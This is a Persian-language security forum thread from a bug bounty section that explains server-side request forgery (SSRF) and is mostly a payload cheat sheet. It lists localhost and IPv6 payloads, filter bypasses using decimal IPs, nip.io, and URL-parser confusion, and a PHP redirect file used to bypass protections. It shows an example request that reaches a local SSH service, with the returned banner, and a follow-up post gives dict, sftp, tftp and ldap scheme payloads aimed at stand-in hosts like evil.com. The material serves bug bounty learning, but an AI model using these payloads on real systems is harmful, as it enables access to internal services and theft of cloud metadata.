انجمن تیم امنیتی ایران سایبر

آسیب پذیری Ssrf در باگ بانتی (bug Bounty)

شروع موضوع توسط 1314CK.0FF3NSIV3 ‏30/12/19 در انجمن باگ بانتی (Bug Bounty)

  1. لطفا فایل های خود را جهت ماندگاری در انجمن اپلود کنید در صورت مشاهده لینک اپلود خروجی , تاپیک حذف خواهد شد .
    بستن اطلاعیه
بستن اطلاعیه


درود مهمان گرامي؛

مهمان گرامي، براي مشاهده تالار با امکانات کامل ميبايست از طريق ايــن ليـــنک ثبت نام کنيد .

حامی مسابقات و برگزار کننده دوره های پیشرفته ارزیابی امنیت برای سازمان ها فتح پرچم (CTF)
  1. 1314CK.0FF3NSIV3

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏16/8/15
    ارسال ها:
    16
    تشکر شده:
    38
    جنسیت:
    Name:
    Nothing
    Main os:
    Ubuntu
    SSRF.jpg

    با سلام

    یکی از گزارشات ارسالی در باگ بانتی آسیب پذیری SSRF می باشد که براساس توضیحات استاندارد owasp مهاجم می تواند از قابلیت های موجود در سرور سوء استفاده کرده و یا منابع داخلی مرتبط به سرور را براحتی بخواند و یا به روز کند .

    کاربری حمله از طریق SSRF می توان بصورت زیر اشاره کرد :
    • مهاجم می تواند URL ای را ایجاد یا تغییر دهد که بتواند توسط اکسپلویت داده های در حال اجرا روی سرور را بخواند (بصورت file://) یا به سمت سرور ارسال کند
    • مهاجم می تواند با انتخاب دقیق URLها نیز پیکربندی سرور مثل متادیتاهای AWS را نیز بخواند به عنوان مثال در داده های سرور Cloud که سرویس آن AWS را داراست.
    • مهاجم می تواند به سرویس های داخلی متصل شده و پایگاه داده را فعال کند یا Request های خود را به سمت سرویس های داخلی که قرار نیست در معرض دید قرار بگیرند انجام دهد.
    لیستی از پیلوت های اون رو برای شما عزیزان قرار میدهم :
    کد:
    Payloads with localhost
    
    Basic SSRF v1
    
    http://127.0.0.1:80
    http://127.0.0.1:443
    http://127.0.0.1:22
    http://0.0.0.0:80
    http://0.0.0.0:443
    http://0.0.0.0:22
    
    Basic SSRF - Alternative version
    
    http://localhost:80
    http://localhost:443
    http://localhost:22
    
    Advanced exploit using a redirection
    
    1. Create a subdomain pointing to 192.168.0.1 with DNS A record  e.g:ssrf.example.com
    2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
    vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
    
    Advanced exploit using type=url
    
    Change "type=file" to "type=url"
    Paste URL in text field and hit enter
    Using this vulnerability users can upload images from any image URL = trigger an SSRF
    
    Bypassing filters
    Bypass using HTTPS
    
    https://127.0.0.1/
    https://localhost/
    
    Bypass localhost with [::]
    
    http://[::]:80/
    http://[::]:25/ SMTP
    http://[::]:22/ SSH
    http://[::]:3128/ Squid
    
    http://0000::1:80/
    http://0000::1:25/ SMTP
    http://0000::1:22/ SSH
    http://0000::1:3128/ Squid
    
    Bypass localhost with a domain redirection
    
    http://spoofed.burpcollaborator.net
    http://localtest.me
    http://customer1.app.localhost.my.company.127.0.0.1.nip.io
    http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
    http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
    
    The service nip.io is awesome for that, it will convert any ip address as a dns.
    
    NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
    
    Bypass localhost with CIDR
    
    It's a /8
    
    http://127.127.127.127
    http://127.0.1.3
    http://127.0.0.0
    
    Bypass using a decimal IP location
    
    http://0177.0.0.1/
    http://2130706433/ = http://127.0.0.1
    http://3232235521/ = http://192.168.0.1
    http://3232235777/ = http://192.168.1.1
    
    Bypass using IPv6/IPv4 Address Embedding
    
    IPv6/IPv4 Address Embedding
    
    http://[0:0:0:0:0:ffff:127.0.0.1]
    
    Bypass using malformed urls
    
    localhost:+11211aaa
    localhost:00011211aaaa
    
    Bypass using rare address
    
    You can short-hand IP addresses by dropping the zeros
    
    http://0/
    http://127.1
    http://127.0.1
    
    Bypass using bash variables
    
    (curl only)
    
    curl -v "http://evil$google.com"
    $google = ""
    
    Bypass using tricks combination
    
    http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
    urllib2 : 1.1.1.1
    requests + browsers : 2.2.2.2
    urllib : 3.3.3.3
    
    Bypass using enclosed alphanumerics
    
    @EdOverflow
    
    http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
    
    Bypass filter_var() php function
    
    0://evil.com:80;http://google.com:80/ 

    مثالی برای روشن شدن این آسیب پذیری :
    در یک بررسی کلی بروی یک تارگن مهاجم پس از آزمایش چندین تکنیک SSRF ، به یک روش دور زدن برای protection ها رسیده که از وکتور IPV6 بصورت [::] استفاده کند . حال برای مدلسازی این طرح فایل x.php که بصورت زیر است :

    کد:
    <?php
    header("location: ".$_GET['u']);
    ?>

    را با بهره گیری از [::] برای ssrf خود بصورت زیر اجرا کرده :​
    کد:
    http://127.0.0.1/x.php/?u=http://%5B::%5D:22/

    Local SSH.png

    که بعد از اجرا خروجی پاسخ را از سمت سرور بصورت زیر می بیند :
    کد:
    "body": {
     SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
    Protocol mismatch.
    
    }
     
    aminoo9213، blackops، rajaz و یک نفر دیگر از این ارسال تشکر کرده اند.
  2. 1314CK.0FF3NSIV3

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏16/8/15
    ارسال ها:
    16
    تشکر شده:
    38
    جنسیت:
    Name:
    Nothing
    Main os:
    Ubuntu
    یکی از تکنیک های مرسوم SSRF via URL Scheme است که بوضوح در نت هم قابل دیدن هست :

    Dict://
    کد:
    dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
    ssrf.php?url=dict://attacker:11111/
    Sftp://
    کد:
    ssrf.php?url=sftp://evil.com:11111/
    Tftp://
    کد:
    ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
    Ldap://
    کد:
    ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

    ادامه دارد ...
     
    Ruiner و blackops از این پست تشکر کرده اند.
بارگذاری...
به انجمن تخصصی امنیت ایران سایبر خوش آمدید . برای مشاهده تمامی تالار ها و امکانات ثبت نام کنید .